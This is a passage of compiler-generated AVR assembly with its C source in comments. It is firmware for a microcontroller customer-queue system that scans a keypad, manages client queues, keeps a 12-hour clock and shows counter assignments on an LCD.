__PUTB1MN _is_full,6
; 0000 00B3 if (in_que[2] > 0)
__GETW2MN _in_que,4
CALL __CPW02
BRGE _0x2A
; 0000 00B4 {
; 0000 00B5 in_que[2]--;
__POINTW2MN _in_que,4
LD R30,X+
LD R31,X+
SBIW R30,1
ST -X,R31
ST -X,R30
; 0000 00B6 LCD_Goto_Counter(pop_from_que(que_7), 7);
LDI R26,LOW(_que_7)
LDI R27,HIGH(_que_7)
RCALL _pop_from_que
ST -Y,R31
ST -Y,R30
LDI R26,LOW(7)
CALL SUBOPT_0x8
; 0000 00B7 is_full[6] = 1;
__PUTB1MN _is_full,6
; 0000 00B8 }
; 0000 00B9 break;
_0x2A:
; 0000 00BA }
_0xD:
; 0000 00BB }
; 0000 00BC }
_0x4:
CALL __LOADLOCR4
ADIW R28,4
LD R30,Y+
OUT SREG,R30
LD R31,Y+
LD R30,Y+
LD R27,Y+
LD R26,Y+
LD R25,Y+
LD R24,Y+
LD R23,Y+
LD R22,Y+
LD R15,Y+
LD R1,Y+
LD R0,Y+
RETI
; .FEND
;
;void push_to_que(int* que, int who)
; 0000 00BF {
_push_to_que:
; .FSTART _push_to_que
; 0000 00C0 int i = 0;
; 0000 00C1 for(i = 0; i < MAX_IN_QUE; ++i)
CALL SUBOPT_0x9
; *que -> Y+4
; who -> Y+2
; i -> R16,R17
_0x2C:
__CPWRN 16,17,100
BRGE _0x2D
; 0000 00C2 {
; 0000 00C3 if (que[i] == 0)
CALL SUBOPT_0xA
ADD R26,R30
ADC R27,R31
CALL __GETW1P
SBIW R30,0
BRNE _0x2E
; 0000 00C4 {
; 0000 00C5 que[i] = who;
CALL SUBOPT_0xA
ADD R30,R26
ADC R31,R27
LDD R26,Y+2
LDD R27,Y+2+1
STD Z+0,R26
STD Z+1,R27
; 0000 00C6 return;
RJMP _0x20C0005
; 0000 00C7 }
; 0000 00C8 }
_0x2E:
__ADDWRN 16,17,1
RJMP _0x2C
_0x2D:
; 0000 00C9 return; // Que overflow
RJMP _0x20C0005
; 0000 00CA }
; .FEND
;
;int pop_from_que(int* que)
; 0000 00CD {
_pop_from_que:
; .FSTART _pop_from_que
; 0000 00CE int i = 0, value = 0;
; 0000 00CF if (que[0] == 0)
ST -Y,R27
ST -Y,R26
CALL __SAVELOCR4
; *que -> Y+4
; i -> R16,R17
; value -> R18,R19
__GETWRN 16,17,0
__GETWRN 18,19,0
LDD R26,Y+4
LDD R27,Y+4+1
CALL __GETW1P
SBIW R30,0
BRNE _0x2F
; 0000 00D0 return -1;
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
CALL __LOADLOCR4
RJMP _0x20C0006
; 0000 00D1 value = que[0];
_0x2F:
LDD R26,Y+4
LDD R27,Y+4+1
LD R18,X+
LD R19,X
; 0000 00D2 while (que[i])
_0x30:
CALL SUBOPT_0xA
ADD R26,R30
ADC R27,R31
CALL __GETW1P
SBIW R30,0
BREQ _0x32
; 0000 00D3 {
; 0000 00D4 que[i] = que[i+1];
CALL SUBOPT_0xA
ADD R30,R26
ADC R31,R27
MOVW R0,R30
MOVW R30,R16
ADIW R30,1
LDD R26,Y+4
LDD R27,Y+4+1
LSL R30
ROL R31
ADD R26,R30
ADC R27,R31
CALL __GETW1P
MOVW R26,R0
ST X+,R30
ST X,R31
; 0000 00D5 i++;
__ADDWRN 16,17,1
; 0000 00D6 }
RJMP _0x30
_0x32:
; 0000 00D7 return value;
MOVW R30,R18
CALL __LOADLOCR4
RJMP _0x20C0006
; 0000 00D8 }
; .FEND
;
;void main(void)
; 0000 00DB {
_main:
; .FSTART _main
; 0000 00DC DDRB = 0xFF; // Port B as output - To LCD
LDI R30,LOW(255)
OUT 0x17,R30
; 0000 00DD PORTB = 0x00; // Initialize it by 0000_0000
LDI R30,LOW(0)
OUT 0x18,R30
; 0000 00DE DDRC = 0xF0; // Port C as half input half output - From Keypad
LDI R30,LOW(240)
OUT 0x14,R30
; 0000 00DF PORTC = 0x0F; // Initialize it by 0000_1111
LDI R30,LOW(15)
OUT 0x15,R30
; 0000 00E0
; 0000 00E1 // External Interrupt(s) initialization
; 0000 00E2 // INT0: On
; 0000 00E3 // INT0 Mode: Falling Edge
; 0000 00E4 // INT1: Off
; 0000 00E5 // INT2: Off
; 0000 00E6 GICR |= (0<<INT1) | (1<<INT0) | (0<<INT2);
IN R30,0x3B
ORI R30,0x40
OUT 0x3B,R30
; 0000 00E7 MCUCR = (0<<ISC11) | (0<<ISC10) | (1<<ISC01) | (0<<ISC00);
LDI R30,LOW(2)
OUT 0x35,R30
; 0000 00E8 MCUCSR = (0<<ISC2);
LDI R30,LOW(0)
OUT 0x34,R30
; 0000 00E9 GIFR = (0<<INTF1) | (1<<INTF0) | (0<<INTF2);
LDI R30,LOW(64)
OUT 0x3A,R30
; 0000 00EA
; 0000 00EB // Timer/Counter 1 initialization
; 0000 00EC // Clock source: System Clock
; 0000 00ED // Clock value: 31/250 kHz
; 0000 00EE // Mode: Normal top=0xFFFF
; 0000 00EF // OC1A output: Disconnected
; 0000 00F0 // OC1B output: Disconnected
; 0000 00F1 // Noise Canceler: Off
; 0000 00F2 // Input Capture on Falling Edge
; 0000 00F3 // Timer Period: 1 s
; 0000 00F4 // Timer1 Overflow Interrupt: On
; 0000 00F5 // Input Capture Interrupt: Off
; 0000 00F6 // Compare A Match Interrupt: Off
; 0000 00F7 // Compare B Match Interrupt: Off
; 0000 00F8 TCCR1A = (0<<COM1A1) | (0<<COM1A0) | (0<<COM1B1) | (0<<COM1B0) | (0<<WGM11) | (0<<WGM10);
LDI R30,LOW(0)
OUT 0x2F,R30
; 0000 00F9 TCCR1B = (0<<ICNC1) | (0<<ICES1) | (0<<WGM13) | (0<<WGM12) | (1<<CS12) | (0<<CS11) | (0<<CS10);
LDI R30,LOW(4)
OUT 0x2E,R30
; 0000 00FA TCNT1H = 0x85;
LDI R30,LOW(133)
OUT 0x2D,R30
; 0000 00FB TCNT1L = 0xEE;
LDI R30,LOW(238)
OUT 0x2C,R30
; 0000 00FC ICR1H = 0x00;
LDI R30,LOW(0)
OUT 0x27,R30
; 0000 00FD ICR1L = 0x00;
OUT 0x26,R30
; 0000 00FE OCR1AH = 0x00;
OUT 0x2B,R30
; 0000 00FF OCR1AL = 0x00;
OUT 0x2A,R30
; 0000 0100 OCR1BH = 0x00;
OUT 0x29,R30
; 0000 0101 OCR1BL = 0x00;
OUT 0x28,R30
; 0000 0102
; 0000 0103 // Global Enable Interrupts
; 0000 0104 #asm("sei")
sei
; 0000 0105 lcd_init(16);
LDI R26,LOW(16)
CALL _lcd_init
; 0000 0106
; 0000 0107 while (1)
_0x33:
; 0000 0108 {
; 0000 0109 if (!is_AM)
TST R11
BRNE _0x36
; 0000 010A sprintf(lcd_buffer," %02d:%02d:%02d PM", hour, minute, second);
CALL SUBOPT_0xB
__POINTW1FN _0x0,0
RJMP _0x6A
; 0000 010B else
_0x36:
; 0000 010C sprintf(lcd_buffer," %02d:%02d:%02d AM", hour, minute, second);
CALL SUBOPT_0xB
__POINTW1FN _0x0,22
_0x6A:
ST -Y,R31
ST -Y,R30
MOVW R30,R8
CALL SUBOPT_0xC
MOVW R30,R6
CALL SUBOPT_0xC
MOVW R30,R4
CALL SUBOPT_0xC
LDI R24,12
CALL _sprintf
ADIW R28,16
; 0000 010D lcd_gotoxy(0,0);
CALL SUBOPT_0xD
; 0000 010E lcd_puts(lcd_buffer);
; 0000 010F delay_ms(ONE_SEC);
LDI R26,LOW(1000)
LDI R27,HIGH(1000)
CALL _delay_ms
; 0000 0110 time_after(ONE_SEC, &hour, &minute, &second, &is_AM);
LDI R30,LOW(1000)
LDI R31,HIGH(1000)
CALL SUBOPT_0xE
; 0000 0111 lcd_clear();
; 0000 0112 }
RJMP _0x33
; 0000 0113 }
_0x38:
RJMP _0x38
; .FEND
;
;void time_after(int n, int* pthour, int* ptminute, int* ptsecond, char* ptis_AM)
; 0000 0116 {
_time_after:
; .FSTART _time_after
; 0000 0117 unsigned char second = *ptsecond;
; 0000 0118 unsigned char minute = *ptminute;
; 0000 0119 unsigned char hour = *pthour;
; 0000 011A
; 0000 011B n = n / ONE_SEC;
ST -Y,R27
ST -Y,R26
CALL __SAVELOCR4
; n -> Y+12
; *pthour -> Y+10
; *ptminute -> Y+8
; *ptsecond -> Y+6
; *ptis_AM -> Y+4
; second -> R17
; minute -> R16
; hour -> R19
LDD R26,Y+6
LDD R27,Y+6+1
LD R30,X
MOV R17,R30
LDD R26,Y+8
LDD R27,Y+8+1
LD R30,X
MOV R16,R30
LDD R26,Y+10
LDD R27,Y+10+1
LD R30,X
MOV R19,R30
LDD R26,Y+12
LDD R27,Y+12+1
LDI R30,LOW(1000)
LDI R31,HIGH(1000)
CALL __DIVW21
STD Y+12,R30
STD Y+12+1,R31
; 0000 011C second += n;
LDD R30,Y+12
ADD R17,R30
; 0000 011D if (second > 59)
CPI R17,60
BRLO _0x39
; 0000 011E {
; 0000 011F minute += 1;
SUBI R16,-LOW(1)
; 0000 0120 second = second % 60;
MOV R26,R17
CLR R27
LDI R30,LOW(60)
LDI R31,HIGH(60)
CALL __MODW21
MOV R17,R30
; 0000 0121 }
; 0000 0122 if (minute > 59)
_0x39:
CPI R16,60
BRLO _0x3A
; 0000 0123 {
; 0000 0124 hour += 1;
SUBI R19,-LOW(1)
; 0000 0125 minute = minute % 60;
MOV R26,R16
CLR R27
LDI R30,LOW(60)
LDI R31,HIGH(60)
CALL __MODW21
MOV R16,R30
; 0000 0126 }
; 0000 0127 if (hour > 12)
_0x3A:
CPI R19,13
BRLO _0x3B
; 0000 0128 {
; 0000 0129 hour = hour % 12;
MOV R26,R19
CLR R27
LDI R30,LOW(12)
LDI R31,HIGH(12)
CALL __MODW21
MOV R19,R30
; 0000 012A *ptis_AM = *ptis_AM ? 0 : 1; // is_AM = ~is_AM
LDD R26,Y+4
LDD R27,Y+4+1
LD R30,X
CPI R30,0
BREQ _0x3C
LDI R30,LOW(0)
RJMP _0x3D
_0x3C:
LDI R30,LOW(1)
_0x3D:
LDD R26,Y+4
LDD R27,Y+4+1
ST X,R30
; 0000 012B }
; 0000 012C
; 0000 012D *ptsecond = second;
_0x3B:
MOV R30,R17
LDD R26,Y+6
LDD R27,Y+6+1
LDI R31,0
ST X+,R30
ST X,R31
; 0000 012E *ptminute = minute;
MOV R30,R16
LDD R26,Y+8
LDD R27,Y+8+1
LDI R31,0
ST X+,R30
ST X,R31
; 0000 012F *pthour = hour;
MOV R30,R19
LDD R26,Y+10
LDD R27,Y+10+1
LDI R31,0
ST X+,R30
ST X,R31
; 0000 0130 }
CALL __LOADLOCR4
ADIW R28,14
RET
; .FEND
;
;int give_first_empty(char* is_full, int to)
; 0000 0133 {
_give_first_empty:
; .FSTART _give_first_empty
; 0000 0134 int i = 0;
; 0000 0135 for (i = 0; i < to; ++i)
CALL SUBOPT_0x9
; *is_full -> Y+4
; to -> Y+2
; i -> R16,R17
_0x40:
LDD R30,Y+2
LDD R31,Y+2+1
CP R16,R30
CPC R17,R31
BRGE _0x41
; 0000 0136 {
; 0000 0137 if (!is_full[i])
MOVW R30,R16
LDD R26,Y+4
LDD R27,Y+4+1
ADD R26,R30
ADC R27,R31
LD R30,X
CPI R30,0
BRNE _0x42
; 0000 0138 return i;
MOVW R30,R16
RJMP _0x20C0005
; 0000 0139 }
_0x42:
__ADDWRN 16,17,1
RJMP _0x40
_0x41:
; 0000 013A return -1;
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
_0x20C0005:
LDD R17,Y+1
LDD R16,Y+0
_0x20C0006:
ADIW R28,6
RET
; 0000 013B }
; .FEND
;
;void LCD_Goto_Counter(int clinet_number, int counter_number)
; 0000 013E {
_LCD_Goto_Counter:
; .FSTART _LCD_Goto_Counter
; 0000 013F lcd_clear();
CALL SUBOPT_0xF
; clinet_number -> Y+2
; counter_number -> Y+0
; 0000 0140
; 0000 0141 sprintf(lcd_buffer," Client #%03d ", clinet_number);
__POINTW1FN _0x0,44
ST -Y,R31
ST -Y,R30
LDD R30,Y+6
LDD R31,Y+6+1
CALL SUBOPT_0xC
CALL SUBOPT_0x10
; 0000 0142 lcd_gotoxy(0, 0);
CALL SUBOPT_0xD
; 0000 0143 lcd_puts(lcd_buffer);
; 0000 0144
; 0000 0145 sprintf(lcd_buffer,"Go To Counter#%02d!", counter_number);
CALL SUBOPT_0xB
__POINTW1FN _0x0,63
CALL SUBOPT_0x11
CALL SUBOPT_0x10
; 0000 0146 lcd_gotoxy(0, 1);
CALL SUBOPT_0x12
; 0000 0147 lcd_puts(lcd_buffer);
; 0000 0148
; 0000 0149 delay_ms(SHOW_DELAY);
; 0000 014A time_after(SHOW_DELAY, &hour, &minute, &second, &is_AM);
; 0000 014B lcd_clear();
; 0000 014C }
ADIW R28,4
RET
; .FEND
;
;void LCD_Show_Waiting(int togo_number)
; 0000 014F {
_LCD_Show_Waiting:
; .FSTART _LCD_Show_Waiting
; 0000 0150 lcd_clear();
CALL SUBOPT_0xF
; togo_number -> Y+0
; 0000 0151
; 0000 0152 sprintf(lcd_buffer," %3d Client(s) ", togo_number);
__POINTW1FN _0x0,83
CALL SUBOPT_0x11
CALL SUBOPT_0x10
; 0000 0153 lcd_gotoxy(0, 0);
CALL SUBOPT_0xD
; 0000 0154 lcd_puts(lcd_buffer);
; 0000 0155
; 0000 0156 sprintf(lcd_buffer," Before You ", togo_number);
CALL SUBOPT_0xB
__POINTW1FN _0x0,99
CALL SUBOPT_0x11
CALL SUBOPT_0x10
; 0000 0157 lcd_gotoxy(0, 1);
CALL SUBOPT_0x12
; 0000 0158 lcd_puts(lcd_buffer);
; 0000 0159
; 0000 015A delay_ms(SHOW_DELAY);
; 0000 015B time_after(SHOW_DELAY, &hour, &minute, &second, &is_AM);
; 0000 015C lcd_clear();
; 0000 015D }
JMP _0x20C0002
; .FEND
;
;void LCD_Out_Of_Time()
; 0000 0160 {
_LCD_Out_Of_Time:
; .FSTART _LCD_Out_Of_Time
; 0000 0161 char* lcd_buffer = "";
; 0000 0162
; 0000 0163 lcd_clear();
ST -Y,R17
ST -Y,R16
; *lcd_buffer -> R16,R17
__POINTWRMN 16,17,_0x43,0
CALL _lcd_clear
; 0000 0164
; 0000 0165 sprintf(lcd_buffer," Sorry :( ");
ST -Y,R17
ST -Y,R16
__POINTW1FN _0x0,116
CALL SUBOPT_0x13
; 0000 0166 lcd_gotoxy(0, 0);
LDI R26,LOW(0)
CALL _lcd_gotoxy
; 0000 0167 lcd_puts(lcd_buffer);
MOVW R26,R16
CALL _lcd_puts
; 0000 0168
; 0000 0169 sprintf(lcd_buffer," Time's Over! ");
ST -Y,R17
ST -Y,R16
__POINTW1FN _0x0,133
CALL SUBOPT_0x13
; 0000 016A lcd_gotoxy(0, 1);
LDI R26,LOW(1)
CALL _lcd_gotoxy
; 0000 016B lcd_puts(lcd_buffer);
MOVW R26,R16
CALL _lcd_puts
; 0000 016C
; 0000 016D delay_ms(SHOW_DELAY);
LDI R26,LOW(3000)
LDI R27,HIGH(3000)
CALL _delay_ms
; 0000 016E time_after(SHOW_DELAY, &hour, &minute, &second, &is_AM);
LDI R30,LOW(3000)
LDI R31,HIGH(3000)
CALL SUBOPT_0xE
; 0000 016F lcd_clear();
; 0000 0170 }
RJMP _0x20C0004
; .FEND
.DSEG
_0x43:
.BYTE 0x1
;
;char GetKey()
; 0000 0173 {
.CSEG
_GetKey:
; .FSTART _GetKey
; 0000 0174 unsigned char key_code = 0xFF;
; 0000 0175 unsigned char columns;
; 0000 0176
; 0000 0177 PORTC = 0xFF;
ST -Y,R17
ST -Y,R16
; key_code -> R17
; columns -> R16
LDI R17,255
LDI R30,LOW(255)
OUT 0x15,R30
; 0000 0178
; 0000 0179 // First Row
; 0000 017A PORTC.4 = 0;
CBI 0x15,4
; 0000 017B columns = PINC & 0x07;
CALL SUBOPT_0x14
; 0000 017C if(columns != 0x07)
BREQ _0x46
; 0000 017D {
; 0000 017E switch(columns)
CALL SUBOPT_0x15
; 0000 017F {
; 0000 0180 case 0b110 : key_code = 1; break;
BRNE _0x4A
LDI R17,LOW(1)
RJMP _0x49
; 0000 0181 case 0b101 : key_code = 2; break;
_0x4A:
CPI R30,LOW(0x5)
LDI R26,HIGH(0x5)
CPC R31,R26
BRNE _0x4B
LDI R17,LOW(2)
RJMP _0x49
; 0000 0182 case 0b011 : key_code = 3; break;
_0x4B:
CPI R30,LOW(0x3)
LDI R26,HIGH(0x3)
CPC R31,R26
BRNE _0x49
LDI R17,LOW(3)
; 0000 0183 }
_0x49:
; 0000 0184 }
; 0000 0185 PORTC.4 = 1;
_0x46:
SBI 0x15,4
; 0000 0186
; 0000 0187 // Second Row
; 0000 0188 PORTC.5 = 0;
CBI 0x15,5
; 0000 0189 columns = PINC & 0x07;
CALL SUBOPT_0x14
; 0000 018A if(columns != 0x07)
BREQ _0x51
; 0000 018B {
; 0000 018C switch(columns)
CALL SUBOPT_0x15
; 0000 018D {
; 0000 018E case 0b110 : key_code = 4; break;
BRNE _0x55
LDI R17,LOW(4)
RJMP _0x54
; 0000 018F case 0b101 : key_code = 5; break;
_0x55:
CPI R30,LOW(0x5)
LDI R26,HIGH(0x5)
CPC R31,R26
BRNE _0x56
LDI R17,LOW(5)
RJMP _0x54
; 0000 0190 case 0b011 : key_code = 6; break;
_0x56:
CPI R30,LOW(0x3)
LDI R26,HIGH(0x3)
CPC R31,R26
BRNE _0x54
LDI R17,LOW(6)
; 0000 0191 }
_0x54:
; 0000 0192 }
; 0000 0193 PORTC.5 = 1;
_0x51:
SBI 0x15,5
; 0000 0194
; 0000 0195 // Third Row
; 0000 0196 PORTC.6 = 0;
CBI 0x15,6
; 0000 0197 columns = PINC & 0x07;
CALL SUBOPT_0x14
; 0000 0198 if(columns != 0x07)
BREQ _0x5C
; 0000 0199 {
; 0000 019A switch(columns)
CALL SUBOPT_0x15
; 0000 019B {
; 0000 019C case 0b110 : key_code = 7; break;
BRNE _0x60
LDI R17,LOW(7)
RJMP _0x5F
; 0000 019D case 0b101 : key_code = 8; break;
_0x60:
CPI R30,LOW(0x5)
LDI R26,HIGH(0x5)
CPC R31,R26
BRNE _0x61
LDI R17,LOW(8)
RJMP _0x5F
; 0000 019E case 0b011 : key_code = 9; break;
_0x61:
CPI R30,LOW(0x3)
LDI R26,HIGH(0x3)
CPC R31,R26
BRNE _0x5F
LDI R17,LOW(9)
; 0000 019F }
_0x5F:
; 0000 01A0 }
; 0000 01A1 PORTC.6 = 1;
_0x5C:
SBI 0x15,6
; 0000 01A2
; 0000 01A3 // Fourth Row
; 0000 01A4 PORTC.7 = 0;
CBI 0x15,7
; 0000 01A5 if(!PINC.1) key_code = 0;
SBIS 0x13,1
LDI R17,LOW(0)
; 0000 01A6 PORTC.7 = 1;
SBI 0x15,7
; 0000 01A7
; 0000 01A8 PORTC = 0x0F;
LDI R30,LOW(15)
OUT 0x15,R30
; 0000 01A9 return key_code;
MOV R30,R17
_0x20C0004:
LD R16,Y+
LD R17,Y+
RET
; 0000 01AA }
; .FEND
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x80
.EQU __sm_mask=0x70
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0x60
.EQU __sm_ext_standby=0x70
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
.CSEG
_put_buff_G100:
; .FSTART _put_buff_G100
ST -Y,R27
ST -Y,R26
ST -Y,R17
ST -Y,R16
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,2
CALL __GETW1P
SBIW R30,0
BREQ _0x2000010
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,4
CALL __GETW1P
MOVW R16,R30
SBIW R30,0
BREQ _0x2000012
__CPWRN 16,17,2
BRLO _0x2000013
MOVW R30,R16
SBIW R30,1
MOVW R16,R30
__PUTW1SNS 2,4
_0x2000012:
LDD R26,Y+2
LDD R27,Y+2+1
ADIW R26,2
CALL SUBOPT_0x5
SBIW R30,1
LDD R26,Y+4
STD Z+0,R26
_0x2000013:
LDD R26,Y+2
LDD R27,Y+2+1
CALL __GETW1P
TST R31
BRMI _0x2000014
CALL SUBOPT_0x5
_0x2000014:
RJMP _0x2000015
_0x2000010:
LDD R26,Y+2
LDD R27,Y+2+1
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
ST X+,R30
ST X,R31
_0x2000015:
LDD R17,Y+1
LDD R16,Y+0
ADIW R28,5
RET
; .FEND
__print_G100:
; .FSTART __print_G100
ST -Y,R27
ST -Y,R26
SBIW R28,6
CALL __SAVELOCR6
LDI R17,0
LDD R26,Y+12
LDD R27,Y+12+1
LDI R30,LOW(0)
LDI R31,HIGH(0)
ST X+,R30
ST X,R31
_0x2000016:
LDD R30,Y+18
LDD R31,Y+18+1
ADIW R30,1
STD Y+18,R30
STD Y+18+1,R31
SBIW R30,1
LPM R30,Z
MOV R18,R30
CPI R30,0
BRNE PC+2
RJMP _0x2000018
MOV R30,R17
CPI R30,0
BRNE _0x200001C
CPI R18,37
BRNE _0x200001D
LDI R17,LOW(1)
RJMP _0x200001E
_0x200001D:
CALL SUBOPT_0x16
_0x200001E:
RJMP _0x200001B
_0x200001C:
CPI R30,LOW(0x1)
BRNE _0x200001F
CPI R18,37
BRNE _0x2000020
CALL SUBOPT_0x16
RJMP _0x20000CC
_0x2000020:
LDI R17,LOW(2)
LDI R20,LOW(0)
LDI R16,LOW(0)
CPI R18,45
BRNE _0x2000021
LDI R16,LOW(1)
RJMP _0x200001B
_0x2000021:
CPI R18,43
BRNE _0x2000022
LDI R20,LOW(43)
RJMP _0x200001B
_0x2000022:
CPI R18,32
BRNE _0x2000023
LDI R20,LOW(32)
RJMP _0x200001B
_0x2000023:
RJMP _0x2000024
_0x200001F:
CPI R30,LOW(0x2)
BRNE _0x2000025
_0x2000024:
LDI R21,LOW(0)
LDI R17,LOW(3)
CPI R18,48
BRNE _0x2000026
ORI R16,LOW(128)
RJMP _0x200001B
_0x2000026:
RJMP _0x2000027
_0x2000025:
CPI R30,LOW(0x3)
BREQ PC+2
RJMP _0x200001B
_0x2000027:
CPI R18,48
BRLO _0x200002A
CPI R18,58
BRLO _0x200002B
_0x200002A:
RJMP _0x2000029
_0x200002B:
LDI R26,LOW(10)
MUL R21,R26
MOV R21,R0
MOV R30,R18
SUBI R30,LOW(48)
ADD R21,R30
RJMP _0x200001B
_0x2000029:
MOV R30,R18
CPI R30,LOW(0x63)
BRNE _0x200002F
CALL SUBOPT_0x17
LDD R30,Y+16
LDD R31,Y+16+1
LDD R26,Z+4
ST -Y,R26
CALL SUBOPT_0x18
RJMP _0x2000030
_0x200002F:
CPI R30,LOW(0x73)
BRNE _0x2000032
CALL SUBOPT_0x17
CALL SUBOPT_0x19
CALL _strlen
MOV R17,R30
RJMP _0x2000033
_0x2000032:
CPI R30,LOW(0x70)
BRNE _0x2000035
CALL SUBOPT_0x17
CALL SUBOPT_0x19
CALL _strlenf
MOV R17,R30
ORI R16,LOW(8)
_0x2000033:
ORI R16,LOW(2)
ANDI R16,LOW(127)
LDI R19,LOW(0)
RJMP _0x2000036
_0x2000035:
CPI R30,LOW(0x64)
BREQ _0x2000039
CPI R30,LOW(0x69)
BRNE _0x200003A
_0x2000039:
ORI R16,LOW(4)
RJMP _0x200003B
_0x200003A:
CPI R30,LOW(0x75)
BRNE _0x200003C
_0x200003B:
LDI R30,LOW(_tbl10_G100*2)
LDI R31,HIGH(_tbl10_G100*2)
STD Y+6,R30
STD Y+6+1,R31
LDI R17,LOW(5)
RJMP _0x200003D
_0x200003C:
CPI R30,LOW(0x58)
BRNE _0x200003F
ORI R16,LOW(8)
RJMP _0x2000040
_0x200003F:
CPI R30,LOW(0x78)
BREQ PC+2
RJMP _0x2000071
_0x2000040:
LDI R30,LOW(_tbl16_G100*2)
LDI R31,HIGH(_tbl16_G100*2)
STD Y+6,R30
STD Y+6+1,R31
LDI R17,LOW(4)
_0x200003D:
SBRS R16,2
RJMP _0x2000042
CALL SUBOPT_0x17
CALL SUBOPT_0x1A
LDD R26,Y+11
TST R26
BRPL _0x2000043
LDD R30,Y+10
LDD R31,Y+10+1
CALL __ANEGW1
STD Y+10,R30
STD Y+10+1,R31
LDI R20,LOW(45)
_0x2000043:
CPI R20,0
BREQ _0x2000044
SUBI R17,-LOW(1)
RJMP _0x2000045
_0x2000044:
ANDI R16,LOW(251)
_0x2000045:
RJMP _0x2000046
_0x2000042:
CALL SUBOPT_0x17
CALL SUBOPT_0x1A
_0x2000046:
_0x2000036:
SBRC R16,0
RJMP _0x2000047
_0x2000048:
CP R17,R21
BRSH _0x200004A
SBRS R16,7
RJMP _0x200004B
SBRS R16,2
RJMP _0x200004C
ANDI R16,LOW(251)
MOV R18,R20
SUBI R17,LOW(1)
RJMP _0x200004D
_0x200004C:
LDI R18,LOW(48)
_0x200004D:
RJMP _0x200004E
_0x200004B:
LDI R18,LOW(32)
_0x200004E:
CALL SUBOPT_0x16
SUBI R21,LOW(1)
RJMP _0x2000048
_0x200004A:
_0x2000047:
MOV R19,R17
SBRS R16,1
RJMP _0x200004F
_0x2000050:
CPI R19,0
BREQ _0x2000052
SBRS R16,3
RJMP _0x2000053
LDD R30,Y+6
LDD R31,Y+6+1
LPM R18,Z+
STD Y+6,R30
STD Y+6+1,R31
RJMP _0x2000054
_0x2000053:
LDD R26,Y+6
LDD R27,Y+6+1
LD R18,X+
STD Y+6,R26
STD Y+6+1,R27
_0x2000054:
CALL SUBOPT_0x16
CPI R21,0
BREQ _0x2000055
SUBI R21,LOW(1)
_0x2000055:
SUBI R19,LOW(1)
RJMP _0x2000050
_0x2000052:
RJMP _0x2000056
_0x200004F:
_0x2000058:
LDI R18,LOW(48)
LDD R30,Y+6
LDD R31,Y+6+1
CALL __GETW1PF
STD Y+8,R30
STD Y+8+1,R31
LDD R30,Y+6
LDD R31,Y+6+1
ADIW R30,2
STD Y+6,R30
STD Y+6+1,R31
_0x200005A:
LDD R30,Y+8
LDD R31,Y+8+1
LDD R26,Y+10
LDD R27,Y+10+1
CP R26,R30
CPC R27,R31
BRLO _0x200005C
SUBI R18,-LOW(1)
LDD R26,Y+8
LDD R27,Y+8+1
LDD R30,Y+10
LDD R31,Y+10+1
SUB R30,R26
SBC R31,R27
STD Y+10,R30
STD Y+10+1,R31
RJMP _0x200005A
_0x200005C:
CPI R18,58
BRLO _0x200005D
SBRS R16,3
RJMP _0x200005E
SUBI R18,-LOW(7)
RJMP _0x200005F
_0x200005E:
SUBI R18,-LOW(39)
_0x200005F:
_0x200005D:
SBRC R16,4
RJMP _0x2000061
CPI R18,49
BRSH _0x2000063
LDD R26,Y+8
LDD R27,Y+8+1
SBIW R26,1
BRNE _0x2000062
_0x2000063:
RJMP _0x20000CD
_0x2000062:
CP R21,R19
BRLO _0x2000067
SBRS R16,0
RJMP _0x2000068
_0x2000067:
RJMP _0x2000066
_0x2000068:
LDI R18,LOW(32)
SBRS R16,7
RJMP _0x2000069
LDI R18,LOW(48)
_0x20000CD:
ORI R16,LOW(16)
SBRS R16,2
RJMP _0x200006A
ANDI R16,LOW(251)
ST -Y,R20
CALL SUBOPT_0x18
CPI R21,0
BREQ _0x200006B
SUBI R21,LOW(1)
_0x200006B:
_0x200006A:
_0x2000069:
_0x2000061:
CALL SUBOPT_0x16
CPI R21,0
BREQ _0x200006C
SUBI R21,LOW(1)
_0x200006C:
_0x2000066:
SUBI R19,LOW(1)
LDD R26,Y+8
LDD R27,Y+8+1
SBIW R26,2
BRLO _0x2000059
RJMP _0x2000058
_0x2000059:
_0x2000056:
SBRS R16,0
RJMP _0x200006D
_0x200006E:
CPI R21,0
BREQ _0x2000070
SUBI R21,LOW(1)
LDI R30,LOW(32)
ST -Y,R30
CALL SUBOPT_0x18
RJMP _0x200006E
_0x2000070:
_0x200006D:
_0x2000071:
_0x2000030:
_0x20000CC:
LDI R17,LOW(0)
_0x200001B:
RJMP _0x2000016
_0x2000018:
LDD R26,Y+12
LDD R27,Y+12+1
CALL __GETW1P
CALL __LOADLOCR6
ADIW R28,20
RET
; .FEND
_sprintf:
; .FSTART _sprintf
PUSH R15
MOV R15,R24
SBIW R28,6
CALL __SAVELOCR4
CALL SUBOPT_0x1B
SBIW R30,0
BRNE _0x2000072
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
RJMP _0x20C0003
_0x2000072:
MOVW R26,R28
ADIW R26,6
CALL __ADDW2R15
MOVW R16,R26
CALL SUBOPT_0x1B
STD Y+6,R30
STD Y+6+1,R31
LDI R30,LOW(0)
STD Y+8,R30
STD Y+8+1,R30
MOVW R26,R28
ADIW R26,10
CALL __ADDW2R15
CALL __GETW1P
ST -Y,R31
ST -Y,R30
ST -Y,R17
ST -Y,R16
LDI R30,LOW(_put_buff_G100)
LDI R31,HIGH(_put_buff_G100)
ST -Y,R31
ST -Y,R30
MOVW R26,R28
ADIW R26,10
RCALL __print_G100
MOVW R18,R30
LDD R26,Y+6
LDD R27,Y+6+1
LDI R30,LOW(0)
ST X,R30
MOVW R30,R18
_0x20C0003:
CALL __LOADLOCR4
ADIW R28,10
POP R15
RET
; .FEND
.CSEG
_strlen:
; .FSTART _strlen
ST -Y,R27
ST -Y,R26
ld r26,y+
ld r27,y+
clr r30
clr r31
strlen0:
ld r22,x+
tst r22
breq strlen1
adiw r30,1
rjmp strlen0
strlen1:
ret
; .FEND
_strlenf:
; .FSTART _strlenf
ST -Y,R27
ST -Y,R26
clr r26
clr r27
ld r30,y+
ld r31,y+
strlenf0:
lpm r0,z+
tst r0
breq strlenf1
adiw r26,1
rjmp strlenf0
strlenf1:
movw r30,r26
ret
; .FEND
.CSEG
.DSEG
